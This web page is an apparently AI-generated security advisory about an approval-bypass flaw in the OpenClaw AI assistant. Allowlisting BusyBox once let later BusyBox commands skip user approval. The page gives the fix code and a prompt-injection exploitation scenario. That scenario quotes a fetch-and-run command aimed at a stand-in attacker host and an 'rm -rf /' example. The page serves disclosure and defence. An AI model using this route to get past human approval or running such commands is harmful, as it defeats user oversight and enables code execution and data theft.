CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GWQP-86Q6-W47G

GHSA-GWQP-86Q6-W47G: Execution Approval Bypass via Shell Multiplexers in OpenClaw

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 2, 2026·5 min read·21 visits

Executive Summary (TL;DR)

OpenClaw failed to distinguish between shell multiplexers (like BusyBox) and standard executables. If a user 'always allowed' a benign BusyBox command, the system allowlisted the BusyBox binary path. Attackers could then use BusyBox to run arbitrary malicious commands without user approval.

A high-severity logic vulnerability exists in the OpenClaw AI assistant's execution authorization engine. The flaw resides in the 'allow-always' persistence mechanism, which fails to correctly handle shell multiplexers such as BusyBox and Toybox. By authorizing a single benign command routed through a multiplexer, a user inadvertently grants permanent, blanket execution privileges to the multiplexer binary itself. This allows an attacker or malicious prompt to bypass subsequent user approval prompts and execute arbitrary commands using the same multiplexer binary.

Vulnerability Overview

OpenClaw (formerly ClawdBot) implements a 'human-in-the-loop' security model where users must explicitly approve system commands generated by the AI agent. To balance security with usability, the system includes an 'allow-always' feature. When selected, this feature persists the executable path to an allowlist, preventing future prompts for that specific tool.

The vulnerability, identified as GHSA-GWQP-86Q6-W47G, is a Protection Mechanism Failure (CWE-693) within this persistence logic. The system blindly trusted the executable path of the running process without inspecting its arguments. This trust model collapses when the executable is a shell multiplexer—a single binary capable of acting as hundreds of different utilities (e.g., ls, cat, sh, rm) based on invocation arguments.

Because the authorization engine effectively flattened the identity of the command to the binary path (e.g., /bin/busybox), a user granting permission for a harmless operation (like busybox echo) would inadvertently authorize the execution of any command routed through that binary.

Root Cause Analysis

The root cause is a logic error in the identification of the 'process' being authorized. In standard Unix environments, most executables perform a single, well-defined function. However, multicall binaries like BusyBox and Toybox function as dispatch wrappers. They use the first argument (argv[0] or argv[1]) to determine which internal applet to execute.

Prior to version 2026.2.22-3, OpenClaw's authorization engine retrieved the absolute path of the executable and used it as the primary key for the allowlist. When a user approved a command like busybox sh -c 'date', the system stored /bin/busybox in the persistent configuration.

When a subsequent request arrived to execute busybox sh -c 'rm -rf /', the system performed a lookup for /bin/busybox. Finding a match in the allowlist, it permitted execution immediately, bypassing the user prompt. The system failed to recognize that for multiplexers, the security boundary lies not in the binary itself, but in the arguments passed to it.

Code Analysis

The remediation involved introducing a recursive unwrapping mechanism to identify the true target of a command. The fix prevents the system from blindly allowlisting known multiplexers.

The following code from src/infra/exec-wrapper-resolution.ts demonstrates the new logic used to unwrap these invocations:

export function unwrapKnownShellMultiplexerInvocation(argv: string[]): ShellMultiplexerUnwrapResult {
  const token0 = argv[0]?.trim();
  const wrapper = normalizeExecutableToken(token0);
 
  // 1. Identify if the binary is a known multiplexer (BusyBox/Toybox)
  if (!SHELL_MULTIPLEXER_WRAPPER_CANONICAL.has(wrapper)) {
    return { kind: "not-wrapper" };
  }
 
  // 2. Parse the arguments to find the applet (inner command)
  let appletIndex = 1;
  if (argv[appletIndex]?.trim() === "--") { appletIndex += 1; }
  const applet = argv[appletIndex]?.trim();
 
  // 3. Fail safe: If we can't identify the applet, block the persistence
  if (!applet || !isShellWrapperExecutable(applet)) {
    return { kind: "blocked", wrapper };
  }
 
  // 4. Return the inner command for processing/allowlisting
  return { kind: "unwrapped", wrapper, argv: argv.slice(appletIndex) };
}

Instead of persisting the wrapper (token0), the system now recursively resolves the arguments until it finds a non-multiplexer executable. If a user authorizes busybox echo hello, the system now persists the path to the echo binary (or internal representation) rather than busybox.

Exploitation Scenario

An attacker can exploit this vulnerability through a three-stage process involving social engineering or prompt injection:

  1. Luring: The attacker (via a malicious skill or prompt) triggers a benign command using a multiplexer. For example: busybox ping -c 1 8.8.8.8. The user sees a prompt asking to approve the network check.

  2. Persistence: Trusting the operation, the user selects "Always allow" to avoid future prompts for connectivity checks. The system writes /bin/busybox to the security.allowlist.

  3. Execution: The attacker subsequently issues a malicious command: busybox sh -c 'curl http://evil.com/payload | sh'. The authorization engine checks the binary path, matches /bin/busybox against the allowlist, and executes the payload silently.

This technique maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and T1204.002 (User Execution: Malicious File), relying on the user's trust to break the security boundary.

Impact Assessment

The impact of this vulnerability is critical for the integrity of the OpenClaw sandbox. By design, OpenClaw has access to the host system to perform tasks. The user approval prompt is the primary defense against rogue AI behavior or prompt injection attacks.

Consequences of Exploitation:

  • Arbitrary Code Execution: Attackers can execute any system command with the privileges of the OpenClaw process.
  • Silent Persistence: Once the multiplexer is allowlisted, the attacker can operate without alerting the user via UI prompts.
  • Data Exfiltration: Sensitive files can be read and transmitted using standard tools provided by the multiplexer (e.g., cat, wget, nc).

The vulnerability specifically undermines the Defense in Depth strategy, rendering the "human-in-the-loop" control ineffective against sophisticated attacks leveraging standard system utilities.

Remediation & Mitigation

Users must upgrade to openclaw version 2026.2.22-3 or later immediately. This version implements the unwrapKnownShellMultiplexerInvocation logic to correctly handle multi-call binaries.

Critical Post-Update Step: Updating the software prevents new insecure entries but does not automatically remove existing insecure entries. Administrators must audit and clear the existing allowlist:

  1. Review the security.allowlist configuration.
  2. Remove any entries pointing to shell multiplexers like /bin/busybox, /usr/bin/busybox, or /bin/toybox.
  3. Restart the OpenClaw service.

For high-security environments, it is recommended to restrict the availability of shell multiplexers in the environment path where OpenClaw operates, or use containerization to limit the blast radius of executed commands.

Official Patches

OpenClawCommit fixing the multiplexer bypass

Fix Analysis (1)

Technical Appendix

CVSS Score
High/ 10

Affected Systems

OpenClaw AI Assistantopenclaw (NPM package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
openclaw
openclaw
<= 2026.2.22-22026.2.22-3
AttributeDetail
Vulnerability TypeExecution Approval Bypass
CWE IDCWE-693 (Protection Mechanism Failure)
Affected ComponentAuthorization Engine / Persistence Layer
Attack VectorLocal / User-Assisted
ImpactArbitrary Code Execution
SeverityHigh

MITRE ATT&CK Mapping

T1548Abuse Elevation Control Mechanism
Privilege Escalation
T1204.002User Execution: Malicious File
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-693
Protection Mechanism Failure

Vulnerability Timeline

Vulnerable version 2026.2.22-2 released
2026-02-22
Vulnerability reported by researcher jiseoung
2026-02-24
Fix committed by Peter Steinberger
2026-02-24
GHSA-GWQP-86Q6-W47G published
2026-02-24

References & Sources

  • [1]GHSA-GWQP-86Q6-W47G Advisory
  • [2]OpenClaw Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•GHSA-X445-F3H2-J279
7.5

GHSA-X445-F3H2-J279: OAuth Provider Confusion in Auth.js and NextAuth.js

A critical logical security flaw exists in Auth.js (formerly NextAuth.js) where signed anti-CSRF check cookies (state, nonce, and PKCE code_verifier) are not bound to the specific Identity Provider that initiated the authorization flow. In multi-provider environments, this allows an attacker to replay valid, cryptographically signed cookies minted during a flow with one provider against a callback handling a different provider. This vulnerability can lead to session hijacking, identity theft, or unauthorized account linking.

Alon Barad
Alon Barad
4 views•7 min read
•about 6 hours ago•GHSA-7RQJ-J65F-68WH
8.1

GHSA-7RQJ-J65F-68WH: Account Takeover via Homoglyph Bypass in NextAuth.js Email Normalization

A security vulnerability in the email normalization logic of NextAuth.js and Auth.js allows remote attackers to bypass email validation constraints and achieve Account Takeover (ATO) through Unicode homoglyph smuggling. Under standard conditions, Unicode compatibility characters represent visually similar symbols that are normalized downstream to ASCII equivalents, facilitating structural validation bypasses. This issue specifically affects passwordless email authentication flows.

Alon Barad
Alon Barad
5 views•6 min read
•about 7 hours ago•GHSA-XMF8-CVQR-RFGJ
7.5

GHSA-XMF8-CVQR-RFGJ: Denial of Service via Uncaught Exception and Session Confusion in Auth.js

Auth.js (formerly NextAuth.js) contains a denial of service vulnerability due to an uncaught URIError in the getToken() token parser when processing malformed percent-encoded sequences in bearer tokens. Additionally, the library was vulnerable to session state confusion and replay attacks because OAuth check cookies (state, nonce, and PKCE) were not properly bound to specific providers, permitting cross-provider token reuse.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 8 hours ago•CVE-2026-53467
5.3

CVE-2026-53467: Heap Information Disclosure via Uninitialized Pixel Cache in ImageMagick MNG Decoder

CVE-2026-53467 is a heap information disclosure vulnerability in the Multiple-image Network Graphics (MNG) decoder of ImageMagick. The vulnerability arises from a failure to zero-initialize newly allocated pixel cache memory buffers. A remote attacker can exploit this by submitting a crafted sparse MNG image file to trigger uninitialized memory preservation. The resulting output contains residual heap bytes, potentially leaking sensitive process memory or assisting in ASLR bypass.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 9 hours ago•CVE-2026-55223
6.3

CVE-2026-55223: Remote Code Execution via Deserialization Gadget Chain in c3p0 Connection Pooling Library

An untrusted deserialization vulnerability exists in the c3p0 JDBC connection pooling library before version 0.14.0. Standard JDBC getter methods conform to the JavaBean property getter pattern, allowing introspection libraries like Apache Commons BeanUtils to evaluate connection properties dynamically during deserialization, leading to arbitrary code execution when chained with a vulnerable database driver or JNDI sink.

Alon Barad
Alon Barad
6 views•6 min read
•about 10 hours ago•CVE-2026-54696
3.7

CVE-2026-54696: Heap-based Buffer Overflow in Ruby json Gem Native C Extension

A heap-based buffer overflow vulnerability exists in the native C extension of the Ruby json gem (versions 2.9.0 through 2.19.8) during IO-based streaming serialization. An incorrect buffer size calculation can lead to memory corruption and process termination when processing large strings.

Alon Barad
Alon Barad
8 views•6 min read